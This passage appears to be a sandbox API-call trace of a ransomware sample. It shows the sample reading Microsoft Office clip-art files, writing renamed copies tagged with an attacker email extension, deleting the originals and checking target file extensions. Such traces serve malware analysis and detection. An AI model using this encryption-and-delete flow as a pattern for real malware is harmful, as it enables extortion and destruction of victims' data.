GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0246.795] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.795] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.796] GetLastError () returned 0x0 [0246.796] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xda6, lpOverlapped=0x0) returned 1 [0246.797] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xdb0, lpOverlapped=0x0) returned 1 [0246.798] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.798] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.798] SetEndOfFile (hFile=0x398) returned 1 [0246.798] CloseHandle (hObject=0x398) returned 1 [0246.798] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.798] SetEndOfFile (hFile=0x3bc) returned 1 [0246.801] CloseHandle (hObject=0x3bc) returned 1 [0246.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0246.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.801] lstrlenW (lpString=".doc") returned 4 [0246.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.801] lstrlenW (lpString=".docx") returned 5 [0246.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.802] lstrlenW (lpString=".pdf") returned 4 [0246.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.802] lstrlenW (lpString=".xls") returned 4 [0246.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.802] lstrlenW (lpString=".xlsx") returned 5 [0246.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.802] lstrlenW (lpString=".ppt") returned 4 [0246.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.802] lstrlenW (lpString=".zip") returned 4 [0246.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.802] lstrlenW (lpString=".rar") returned 4 [0246.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.802] lstrlenW (lpString=".bz2") returned 4 [0246.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.802] lstrlenW (lpString=".7z") returned 3 [0246.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.802] lstrlenW (lpString=".dbf") returned 4 [0246.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.802] lstrlenW (lpString=".1cd") returned 4 [0246.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.802] lstrlenW (lpString=".jpg") returned 4 [0246.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.802] lstrlenW (lpString=".doc") returned 4 [0246.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.802] lstrlenW (lpString=".docx") returned 5 [0246.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.803] lstrlenW (lpString=".pdf") returned 4 [0246.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.803] lstrlenW (lpString=".xls") returned 4 [0246.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.803] lstrlenW (lpString=".xlsx") returned 5 [0246.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.803] lstrlenW (lpString=".ppt") returned 4 [0246.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.803] lstrlenW (lpString=".zip") returned 4 [0246.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.803] lstrlenW (lpString=".rar") returned 4 [0246.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.803] lstrlenW (lpString=".bz2") returned 4 [0246.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.803] lstrlenW (lpString=".7z") returned 3 [0246.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.803] lstrlenW (lpString=".dbf") returned 4 [0246.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.803] lstrlenW (lpString=".1cd") returned 4 [0246.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0246.804] lstrlenW (lpString=".jpg") returned 4 [0246.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.804] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.804] lstrlenW (lpString="BS01635_.WMF") returned 12 [0246.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0246.804] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=14996) returned 1 [0246.804] CloseHandle (hObject=0x3bc) returned 1 [0246.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0246.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0246.805] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.805] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.805] GetLastError () returned 0x0 [0246.805] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3a94, lpOverlapped=0x0) returned 1 [0246.808] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0246.809] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.809] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.809] SetEndOfFile (hFile=0x398) returned 1 [0246.809] CloseHandle (hObject=0x398) returned 1 [0246.809] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.809] SetEndOfFile (hFile=0x3bc) returned 1 [0246.811] CloseHandle (hObject=0x3bc) returned 1 [0246.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0246.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.812] lstrlenW (lpString=".doc") returned 4 [0246.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.812] lstrlenW (lpString=".docx") returned 5 [0246.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.812] lstrlenW (lpString=".pdf") returned 4 [0246.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.812] lstrlenW (lpString=".xls") returned 4 [0246.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.813] lstrlenW (lpString=".xlsx") returned 5 [0246.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.813] lstrlenW (lpString=".ppt") returned 4 [0246.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.813] lstrlenW (lpString=".zip") returned 4 [0246.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.813] lstrlenW (lpString=".rar") returned 4 [0246.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.813] lstrlenW (lpString=".bz2") returned 4 [0246.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.813] lstrlenW (lpString=".7z") returned 3 [0246.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.813] lstrlenW (lpString=".dbf") returned 4 [0246.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.813] lstrlenW (lpString=".1cd") returned 4 [0246.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.813] lstrlenW (lpString=".jpg") returned 4 [0246.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.814] lstrlenW (lpString=".doc") returned 4 [0246.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.814] lstrlenW (lpString=".docx") returned 5 [0246.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.814] lstrlenW (lpString=".pdf") returned 4 [0246.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.814] lstrlenW (lpString=".xls") returned 4 [0246.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.814] lstrlenW (lpString=".xlsx") returned 5 [0246.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.814] lstrlenW (lpString=".ppt") returned 4 [0246.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.814] lstrlenW (lpString=".zip") returned 4 [0246.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.814] lstrlenW (lpString=".rar") returned 4 [0246.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.814] lstrlenW (lpString=".bz2") returned 4 [0246.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.814] lstrlenW (lpString=".7z") returned 3 [0246.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.814] lstrlenW (lpString=".dbf") returned 4 [0246.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.814] lstrlenW (lpString=".1cd") returned 4 [0246.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0246.814] lstrlenW (lpString=".jpg") returned 4 [0246.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.815] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.815] lstrlenW (lpString="BS01636_.WMF") returned 12 [0246.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0246.815] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1874) returned 1 [0246.815] CloseHandle (hObject=0x3bc) returned 1 [0246.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0246.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0246.815] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.816] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.816] GetLastError () returned 0x0 [0246.816] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x752, lpOverlapped=0x0) returned 1 [0246.817] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x760, lpOverlapped=0x0) returned 1 [0246.818] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.818] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.818] SetEndOfFile (hFile=0x398) returned 1 [0246.818] CloseHandle (hObject=0x398) returned 1 [0246.818] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.819] SetEndOfFile (hFile=0x3bc) returned 1 [0246.820] CloseHandle (hObject=0x3bc) returned 1 [0246.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0246.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.821] lstrlenW (lpString=".doc") returned 4 [0246.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.821] lstrlenW (lpString=".docx") returned 5 [0246.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.822] lstrlenW (lpString=".pdf") returned 4 [0246.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString=".xls") returned 4 [0246.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.822] lstrlenW (lpString=".xlsx") returned 5 [0246.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.822] lstrlenW (lpString=".ppt") returned 4 [0246.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.822] lstrlenW (lpString=".zip") returned 4 [0246.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.822] lstrlenW (lpString=".rar") returned 4 [0246.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString=".bz2") returned 4 [0246.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString=".7z") returned 3 [0246.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.822] lstrlenW (lpString=".dbf") returned 4 [0246.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.822] lstrlenW (lpString=".1cd") returned 4 [0246.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.822] lstrlenW (lpString=".jpg") returned 4 [0246.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.822] lstrlenW (lpString=".doc") returned 4 [0246.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.822] lstrlenW (lpString=".docx") returned 5 [0246.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.822] lstrlenW (lpString=".pdf") returned 4 [0246.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString=".xls") returned 4 [0246.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.823] lstrlenW (lpString=".xlsx") returned 5 [0246.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.823] lstrlenW (lpString=".ppt") returned 4 [0246.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.823] lstrlenW (lpString=".zip") returned 4 [0246.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.823] lstrlenW (lpString=".rar") returned 4 [0246.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString=".bz2") returned 4 [0246.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString=".7z") returned 3 [0246.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.823] lstrlenW (lpString=".dbf") returned 4 [0246.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.823] lstrlenW (lpString=".1cd") returned 4 [0246.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0246.824] lstrlenW (lpString=".jpg") returned 4 [0246.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.824] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.824] lstrlenW (lpString="BS01637_.WMF") returned 12 [0246.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0246.824] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3948) returned 1 [0246.824] CloseHandle (hObject=0x3bc) returned 1 [0246.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0246.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0246.825] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: 